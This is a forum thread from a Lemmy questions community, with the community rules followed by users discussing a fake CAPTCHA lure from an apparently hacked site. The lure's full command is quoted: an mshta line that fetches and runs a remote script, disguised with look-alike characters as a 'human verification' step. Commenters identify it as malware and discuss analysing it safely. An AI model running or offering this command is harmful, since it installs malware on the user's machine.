!nostupidquestions is a community dedicated to being helpful and answering each others' questions on various topics.
The rules for posting and commenting, besides the rules defined here for lemmy.world, are as follows:
Rule 1- All posts must be legitimate questions. All post titles must include a question.
All posts must be legitimate questions, and all post titles must include a question. Questions that are joke or trolling questions, memes, song lyrics as title, etc. are not allowed here. See Rule 6 for all exceptions.
Rule 2- Your question subject cannot be illegal or NSFW material.
Your question subject cannot be illegal or NSFW material. You will be warned first, banned second.
Rule 3- Do not seek mental, medical and professional help here.
Do not seek mental, medical and professional help here. Breaking this rule will not get you or your post removed, but it will put you at risk, and possibly in danger.
Rule 4- No self promotion or upvote-farming of any kind.
That's it.
Rule 5- No baiting or sealioning or promoting an agenda.
Questions which, instead of being of an innocuous nature, are specifically intended (based on reports and in the opinion of our crack moderation team) to bait users into ideological wars on charged political topics will be removed and the authors warned - or banned - depending on severity.
Rule 6- Regarding META posts and joke questions.
Provided it is about the community itself, you may post non-question posts using the [META] tag on your post title.
On fridays, you are allowed to post meme and troll questions, on the condition that it's in text format only, and conforms with our other rules. These posts MUST include the [NSQ Friday] tag in their title.
If you post a serious question on friday and are looking only for legitimate answers, then please include the [Serious] tag on your post. Irrelevant replies will then be removed by moderators.
Rule 7- You can't intentionally annoy, mock, or harass other members.
If you intentionally annoy, mock, harass, or discriminate against any individual member, you will be removed.
Likewise, if you are a member, sympathiser or a resemblant of a movement that is known to largely hate, mock, discriminate against, and/or want to take lives of a group of people, and you were provably vocal about your hate, then you will be banned on sight.
Rule 8- All comments should try to stay relevant to their parent content.
Rule 9- Reposts from other platforms are not allowed.
Let everyone have their own content.
Rule 10- Majority of bots aren't allowed to participate here. This includes using AI responses and summaries.

The text it wants me to run is the following:
mshta https://check/[dot]dasoc[dot]icu/gkcxv[dot]google?i=888x8x8x-x8xx-8888-xxx8-a00888888a1ab # Humаn, nоt а rоbоt: CAPTCHА Vеrіfісаtіоn ID: 552163''
Looks like the site got hacked and wants be run malware, but I've never seen something like this before.
Yeah, doesn't mshta run JavaScript locally on Windows? This looks like a way to force you to run their script
I hope that URL isn't the real one, you don't want anyone trying it just to see what would happen

Possibly.
BTW, certain malware may be able to break out of a VM.
On the other, some malware may recognize that it is being run in a VM and do absolutely nothing to avoid analysis.
I'm sure proper malware analysts have dedicated non-virtual machines they can just format between tests.
Now I wonder if there are motherboards with easily re-flashable firmware (from a read-only device that couldn't be tampered with).
I have no idea how somebody might come up with this braindead, unintuitive and irreproducable mnemonic for a JavaScript interpreter but it sounds very much like something Microsoft would do.
I'm curious what the script does, I'd love to reverse engineer it but don't want to risk accidentally executing anything. Anyone with a disposable VM care to take the risk?
